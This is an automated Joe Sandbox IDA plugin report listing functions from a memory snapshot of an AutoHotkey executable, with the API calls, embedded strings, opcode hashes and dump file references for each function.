Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountTick_vswprintf_s
String ID: Press [F5] to refresh.$---- %s$Script lines most recently executed (oldest first). Press [F5] to refresh. The seconds elapsed between a line and the one after
API String ID: 1349412622-1384135373
Opcode ID: 53ceacdc311810843086e4f1f5d1fb2967f8c12afb02a8a38e5fc87a312c3c3c
Instruction ID: 0fb922e1197428dc13726195255b8e70b1187e0faa9a6f229a835af1bc25c0c1
Opcode Fuzzy Hash: 53ceacdc311810843086e4f1f5d1fb2967f8c12afb02a8a38e5fc87a312c3c3c
Instruction Fuzzy Hash: D451F4719083029FC711DF3CD9846AAB7D0AB89314F14463FE885D3394EA78DD49CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040A010 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

CallNextHookEx.USER32(00000000,?,?,?), ref: 0040A029
GetTickCount.KERNEL32 ref: 0040A042

Strings

#Bd, xrefs: 0040A04D

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CallCountHookNextTick
String ID: #Bd
API String ID: 3618830134-1306175853
Opcode ID: ed7ca4a7f8a25356a165abc5345642ec52d1a42171cf5cde4ad9a2a5b234f11e
Instruction ID: eb866e0ec2d259414f8e89a20662185a990945b0748801cb2fdba669bf047b57
Opcode Fuzzy Hash: ed7ca4a7f8a25356a165abc5345642ec52d1a42171cf5cde4ad9a2a5b234f11e
Instruction Fuzzy Hash: 514184212093419BD314CF289885B6BBBD99BA5710F18843FF585E72D2C2389C59D7AB

Uniqueness

Uniqueness Score: -1.00%

Function 00428286 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 128COMMON

Download Yara Rule

APIs

_wcschr.LIBCMT ref: 004282B1

Strings

Parameter #3 invalid., xrefs: 004281E2
+-^RASHNOT, xrefs: 004282AC
Parameter #1 invalid., xrefs: 00427A74

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _wcschr
String ID: +-^RASHNOT$Parameter #1 invalid.$Parameter #3 invalid.
API String ID: 2691759472-20153427
Opcode ID: a6a2d6642a7a0d262e50a154210f537175b48d2e1a9366c736b68eeb1e09ce9e
Instruction ID: eacebe60420a4a97463f85b07ad35070ff699494fb077e1b02f8d6af1b49fb8e
Opcode Fuzzy Hash: a6a2d6642a7a0d262e50a154210f537175b48d2e1a9366c736b68eeb1e09ce9e
Instruction Fuzzy Hash: 9041CE347083619BEB34CB1AE4447A7B7E1AB91314F88489FE88587392D73D9C81C76A

Uniqueness

Uniqueness Score: -1.00%

Function 00453170 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 125COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00453292

Part of subcall function 0049A18D: RtlFreeHeap.NTDLL(00000000,00000000,?,0049DF53,00000000,?,0049F727,?,0047FFCE), ref: 0049A1A3
Part of subcall function 0049A18D: GetLastError.KERNEL32(00000000,?,0049DF53,00000000,?,0049F727,?,0047FFCE), ref: 0049A1B5

Strings

Count, xrefs: 004531BB
array, xrefs: 00453207
object, xrefs: 00453190

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID: Count$array$object
API String ID: 1353095263-899595868
Opcode ID: d82bf3b8c3f4cc27a59d26d30b7eeedab424b4b24eb2eb057b15d5835d2d336b
Instruction ID: 16ef5a3fce10a8048d628a22dc6bf0af1ba296d7381e94402d4b584ca40aac03
Opcode Fuzzy Hash: d82bf3b8c3f4cc27a59d26d30b7eeedab424b4b24eb2eb057b15d5835d2d336b
Instruction Fuzzy Hash: 3C410375618700AFC308CF59C880A5BB7E5BBC8714F108A1EF59A87350DB75EA49CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0047D380 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0047D3B1
WideCharToMultiByte.KERNEL32(00000000,00000400,004045A4,00000000,00000000,00000000,00000001,00000000,00000001,?,00000000,00000001,?,004045A4), ref: 0047D3EC
WideCharToMultiByte.KERNEL32(00000000,00000400,00000000,?,00000000,00000000,00000001,00000000,00000000,004D6D18,?,00000000,00000001,?,004045A4), ref: 0047D426

Strings

?, xrefs: 0047D389

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ByteCharMultiWide$_free
String ID: ?
API String ID: 4292660327-1684325040
Opcode ID: 5e7e00d6c65dea503d3ccb6bdb68e3b4205ffd71f41923b5b67a7909d0cff20f
Instruction ID: 3c630a7e3273ed8e7398a490729f6174d4b8ab753ec4eca99ae54f8d5983b0be
Opcode Fuzzy Hash: 5e7e00d6c65dea503d3ccb6bdb68e3b4205ffd71f41923b5b67a7909d0cff20f
Instruction Fuzzy Hash: D931DFB2A156016FE311CA18D880BA7F3A8EF84714F24826AEA5897781D774FC14C7E5

Uniqueness

Uniqueness Score: -1.00%

Function 0043F1E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043F200

Part of subcall function 0049A0EE: __FF_MSGBANNER.LIBCMT ref: 0049A107
Part of subcall function 0049A0EE: __NMSG_WRITE.LIBCMT ref: 0049A10E
Part of subcall function 0049A0EE: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,004A1668,00401234,00000001,00401234,?,0049EB7D,00000018,004CFE28,0000000C,0049EC0D), ref: 0049A133

_free.LIBCMT ref: 0043F237
_malloc.LIBCMT ref: 0043F245

Strings

Out of memory., xrefs: 0043F25C

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _malloc$AllocateHeap_free
String ID: Out of memory.
API String ID: 1159278337-4087320997
Opcode ID: 123b543f61962ac88b3585aa1f0ab7a914ee9c4ca518dd8d910aedb9e729fd2d
Instruction ID: 9081f485d03ea7a2f2e56a3d12b181235517ec9ff960118ee96c2a6f2a232a10
Opcode Fuzzy Hash: 123b543f61962ac88b3585aa1f0ab7a914ee9c4ca518dd8d910aedb9e729fd2d
Instruction Fuzzy Hash: EB4107B5A00701CBD720DF29D485A17B3E1FB5C344F14596BD88A8BB80E379E895CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0047A4E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 102COMMON

Download Yara Rule

Strings

Get, xrefs: 0047A545
Set, xrefs: 0047A55F

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID:
String ID: Get$Set
API String ID: 0-1189334568
Opcode ID: 2552f8e493adb683d241d1654a170c0e2ce470a9feb3bb04035a0024e1b9a688
Instruction ID: 5dfb1cf6b246ae7122d52d1e468bf5803da4ae7a21c88d95e900af9036cff426
Opcode Fuzzy Hash: 2552f8e493adb683d241d1654a170c0e2ce470a9feb3bb04035a0024e1b9a688
Instruction Fuzzy Hash: 0331C472A00114ABCB209E18D8817EE7754EB95365F19816BED0C67341E73AEC61CBEF

Uniqueness

Uniqueness Score: -1.00%

Function 0047D090 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0047D0BA
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,00000000,?,?,?,0040553C,?,000000FF,?,004079E9,?), ref: 0047D0EE
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,y@,00000000,00000000,?,00000000,?,0040553C,?,000000FF,?,004079E9,?,?), ref: 0047D112

Strings

y@, xrefs: 0047D0FD, 0047D109

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ByteCharMultiWide$_free
String ID: y@
API String ID: 4292660327-1812993971
Opcode ID: 0051d026509f8858f797f4070d16eb9a8321485c426619ca993e6f5a43f3285d
Instruction ID: 4cf48d5e9f286746604b3cab0fb1e7cb0e356c2670923ed7aeef4c70793e8571
Opcode Fuzzy Hash: 0051d026509f8858f797f4070d16eb9a8321485c426619ca993e6f5a43f3285d
Instruction Fuzzy Hash: B931AD72A107056BD320DA29D841BA7B7F8EF84B18F14842EE44DDB740E764EC4583A5

Uniqueness

Uniqueness Score: -1.00%

Function 00450190 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91timeCOMMON

Download Yara Rule

APIs

FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00450229
FileTimeToSystemTime.KERNEL32(?,?), ref: 00450239
__swprintf.LIBCMT ref: 0045026D

Strings

%04d%02d%02d%02d%02d%02d, xrefs: 00450267

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Time$File$LocalSystem__swprintf
String ID: %04d%02d%02d%02d%02d%02d
API String ID: 3390705568-4847443
Opcode ID: 5a6bf3b7c7ee222a1523348936c72b06bc4292a9315012ae5e82c11031cb2bb2
Instruction ID: 78ce92ca307005fa2a80f92f2fd1d1bd5b6a1b4596b76abe22d183a94d58bb86
Opcode Fuzzy Hash: 5a6bf3b7c7ee222a1523348936c72b06bc4292a9315012ae5e82c11031cb2bb2
Instruction Fuzzy Hash: AA31AEB65082019FC318CF59C844D7BB7E8EF88311F14865EFC99872A1E738D945C76A

Uniqueness

Uniqueness Score: -1.00%

Function 00481650 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82windowCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 004816A0

Part of subcall function 0049A0EE: __FF_MSGBANNER.LIBCMT ref: 0049A107
Part of subcall function 0049A0EE: __NMSG_WRITE.LIBCMT ref: 0049A10E
Part of subcall function 0049A0EE: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,004A1668,00401234,00000001,00401234,?,0049EB7D,00000018,004CFE28,0000000C,0049EC0D), ref: 0049A133

SendMessageW.USER32(?,00000438,?,00000030), ref: 004816CB
_free.LIBCMT ref: 00481716

Strings

0, xrefs: 0048165D

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: AllocateHeapMessageSend_free_malloc
String ID: 0
API String ID: 1568525244-4108050209
Opcode ID: 464edf3aea0d6f724e9a100e159c9ac2abaf7000f616c5f503b28ab486b07fdd
Instruction ID: 8478e32a05804f0af1f6f4f2f5263386ade32232fcd085e8bdd22d77d3d94b87
Opcode Fuzzy Hash: 464edf3aea0d6f724e9a100e159c9ac2abaf7000f616c5f503b28ab486b07fdd
Instruction Fuzzy Hash: 44214B725002014BDB10BF68C8419EFB7ADEB24364F5C0A27D80AEB360F735D906C794

Uniqueness

Uniqueness Score: -1.00%

Function 0040939E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004093FC
__wcstoi64.LIBCMT ref: 00409433

Strings

file://, xrefs: 004093DB
file:///, xrefs: 004093B1

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcstoi64_memmove
String ID: file://$file:///
API String ID: 3802750240-3202756431
Opcode ID: 607c690c144a7a5706484ba04f3aea791689476e690953cf39ef0dc00eed39d9
Instruction ID: 6e081c15ccfac3cb843d4150485c05fb97ae8f8e21cee9e2848de53659c9a4a8
Opcode Fuzzy Hash: 607c690c144a7a5706484ba04f3aea791689476e690953cf39ef0dc00eed39d9
Instruction Fuzzy Hash: 35212F71904244BADB2197698C41BDFBFB89F12304F1440B7E88573283E1787A4647BA

Uniqueness

Uniqueness Score: -1.00%

Function 00409294 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 004054CE: __EH_prolog.LIBCMT ref: 004054D3

_sprintf.LIBCMT ref: 0040931C

Strings

file:///, xrefs: 0040929A
-_.!~*()/, xrefs: 004092EC
%%%02X, xrefs: 00409316

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: H_prolog_sprintf
String ID: %%%02X$-_.!~*()/$file:///
API String ID: 1907722333-736925546
Opcode ID: 52ecd575bad736946044405b03ee37f353c62990639a8aa623c1c95d4d4bd87a
Instruction ID: 1f1c07adf976c6d5eea14890ff8d2d6607c19b82193df324de20b54ddb558fbf
Opcode Fuzzy Hash: 52ecd575bad736946044405b03ee37f353c62990639a8aa623c1c95d4d4bd87a
Instruction Fuzzy Hash: 4021C335A00702ABD720DE5AD881D6B77E49F59354710843EE896973E2DB78EC42CE18

Uniqueness

Uniqueness Score: -1.00%

Function 0041F370 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0041F37B
_wcschr.LIBCMT ref: 0041F3BB

Strings

<>=/|^,:*&~!()[]{}+-?."'\;`, xrefs: 0041F3B6
Class, xrefs: 0041F375

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsnicmp_wcschr
String ID: <>=/|^,:*&~!()[]{}+-?."'\;`$Class
API String ID: 2237432580-400929710
Opcode ID: 25098085ec24e651f989b218ea3ead07d86dc6b858d31c2ec2df61d44f565170
Instruction ID: bf556a0c342742f6338d23ff194ce22897474d1e2bce5d6bf570971ee773be7f
Opcode Fuzzy Hash: 25098085ec24e651f989b218ea3ead07d86dc6b858d31c2ec2df61d44f565170
Instruction Fuzzy Hash: C01126726146129ADB209B2EA8426FB77A0EFA13107194937FC59C7245F32CDCDBC299

Uniqueness

Uniqueness Score: -1.00%

Function 0041B220 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 58COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0041B226

Strings

Default, xrefs: 0041B220
XSK, xrefs: 0041B275
PSK, xrefs: 0041B233

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: Default$PSK$XSK
API String ID: 3832890014-2912753211
Opcode ID: 805b4de061e2db17fc2c4cbabf3deecd0426943c8ba21827cc3a8b9d4e8c1a12
Instruction ID: b38c404e226c05cff93ecbdede228a85790e1687a317cca0e67fe59c64f66819
Opcode Fuzzy Hash: 805b4de061e2db17fc2c4cbabf3deecd0426943c8ba21827cc3a8b9d4e8c1a12
Instruction Fuzzy Hash: 2601A12261051242EB111B34CD463EB2192EB74B64FD843A6DC25CA3E8F32FCAC8C288

Uniqueness

Uniqueness Score: -1.00%

Function 0044F250 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0044F274
__swprintf.LIBCMT ref: 0044F2B1

Strings

%04d%02d%02d%02d%02d%02d, xrefs: 0044F2AB

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: SystemTime__swprintf
String ID: %04d%02d%02d%02d%02d%02d
API String ID: 3074119229-4847443
Opcode ID: 67019da72d6acac2b54862147a335d34b81232dfca7859e66cb1c2802749897f
Instruction ID: aac8963efb45e9a5c1c19ee0ce88fa84071ee1f3bc9b92eb702974b1bad15c2d
Opcode Fuzzy Hash: 67019da72d6acac2b54862147a335d34b81232dfca7859e66cb1c2802749897f
Instruction Fuzzy Hash: 83015675404720A7D354DB59C8859BBB3F4EE88700F84894EF8D986190F379D954D3A6

Uniqueness

Uniqueness Score: -1.00%

Function 0041E510 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E520
_wcsncpy.LIBCMT ref: 0041E592
Shell_NotifyIconW.SHELL32(00000000,?), ref: 0041E5A5

Strings

AutoHotkey, xrefs: 0041E583, 0041E58A

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: IconNotifyShell__memset_wcsncpy
String ID: AutoHotkey
API String ID: 1481257660-348589305
Opcode ID: 439edb6143bea9ddbeb976f469e6085417eb46c1e85b943bf35fc996b2214b17
Instruction ID: c9da1076f400bd95cacf0408dd87db147cf42c6089d0ad923f6f670f6e815f01
Opcode Fuzzy Hash: 439edb6143bea9ddbeb976f469e6085417eb46c1e85b943bf35fc996b2214b17
Instruction Fuzzy Hash: BA1161B4A00701ABEB60CF75D844B97B7E8EB45308F00482EE95EC7341EB78A9458759

Uniqueness

Uniqueness Score: -1.00%

Function 004852F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(dwmapi.dll,DwmGetWindowAttribute,?,004845D4,00000000,?,?,?,?,0040F2F8,004D8348,?,?,004B0CF8,004B0CF8,00000000), ref: 0048530B
GetProcAddress.KERNEL32(00000000), ref: 00485312

Strings

dwmapi.dll, xrefs: 00485306
DwmGetWindowAttribute, xrefs: 00485301

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: DwmGetWindowAttribute$dwmapi.dll
API String ID: 2574300362-1753671286
Opcode ID: 696b8ccf402e53a4803617c296a0755f6ed12e8febf3995fb40610730878c43e
Instruction ID: 02b3419c2288e1dc4b34288e4af246f3798fca2e0a51e524d312b7c88de5a920
Opcode Fuzzy Hash: 696b8ccf402e53a4803617c296a0755f6ed12e8febf3995fb40610730878c43e
Instruction Fuzzy Hash: 6AF090B4219B41ABEB14DF60EC04B1E3BE4AB44B41F10082EF54282190DBB89444975D

Uniqueness

Uniqueness Score: -1.00%

Function 00477870 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

SetMenuItemInfoW.USER32 ref: 004778A3
DeleteObject.GDI32(00000000), ref: 004778B6
DestroyIcon.USER32(00000000), ref: 004778D0

Strings

0, xrefs: 0047788B

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin
